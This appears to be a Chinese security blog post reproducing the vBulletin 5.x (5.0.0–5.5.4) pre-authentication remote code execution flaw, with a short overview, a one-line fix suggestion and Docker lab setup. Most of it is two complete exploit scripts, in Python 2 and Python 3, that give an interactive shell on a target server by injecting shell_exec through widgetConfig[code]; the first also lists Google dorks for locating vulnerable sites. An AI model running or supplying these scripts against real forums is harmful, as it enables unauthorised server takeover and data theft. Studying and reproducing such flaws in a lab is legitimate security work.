漏洞原理

前言

vBulletin是一个收费低廉但强大的建站BBS(论坛)CMS(内容管理系统,是一种位于web前端和后端之间的软件系统。发布人员使用内容管理系统提交、修改、发布内容等),该CMS国外大量论坛使用,中国国内少许网站使用。近日,vBulletin 5.x爆出一个前台远程代码执行漏洞,无需登录即可触发。该论坛程序在国外的国外的用户量就类似dz论坛在国内的用户量。

概述

漏洞通过请求ajax/render/widget_php进行模板注入触发代码执行。

影响范围

5.0.0 <= vBulletin <=5.5.4

漏洞修复

建议对includes\vb5\frontend\controller\bbcode.php中的变量evalCode做过滤防护

环境搭建

vBulletion有在线测试版本

https://www.vbulletin.com/en/vb5-trial/

或者docker 复现

docker run -ti -p 80:8080 --name vbulletin -d p8361/vbulletin-cve-2015-7808
docker exec -it <id> /bin/bash

# update然后装vim
apt-get update

# 改配置
vi /etc/apache2/apache2.conf

# 最下面补这个配置
ServerName localhost:80

# 给根目录下run.sh权限并启动
chmod +x ./run.sh
./run.sh

复现exp

远程代码执行漏洞的触发点是未经过验证的用户通过向index.php发送routestring参数,当routesting参数是ajax/render/widget_php,通过widgetConfig[code]执行远程代码,格式为echo shell_exec('"+cmd+"'); exit;

python2

#!/usr/bin/python

#

# vBulletin 5.x 0day pre-auth RCE exploit

#

# This should work on all versions from 5.0.0 till 5.5.4

#

# Google Dorks:

# - site:*.vbulletin.net

# - "Powered by vBulletin Version 5.5.4"

import requests

import sys

if len(sys.argv) != 2:

   sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:

    try:

         cmd = raw_input("vBulletin$ ")

         params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"

         r = requests.post(url = sys.argv[1], data = params)

         if r.status_code == 200:

              print r.text

         else:

              sys.exit("Exploit failed! :(")

    except KeyboardInterrupt:

         sys.exit(" Closing shell...")

    except Exception, e:

         sys.exit(str(e))

python3 用burp抓包

# -*-coding:utf-8 -*-

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

proxies ={
     "http":"http://127.0.0.1:8080/"
}
params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = input(">>>Shell= ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params, proxies=proxies)
          if r.status_code == 200:
               print(r.text)

          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception as e:
          sys.exit(str(e))

特征流量

参考文章

https://xz.aliyun.com/t/6495

评论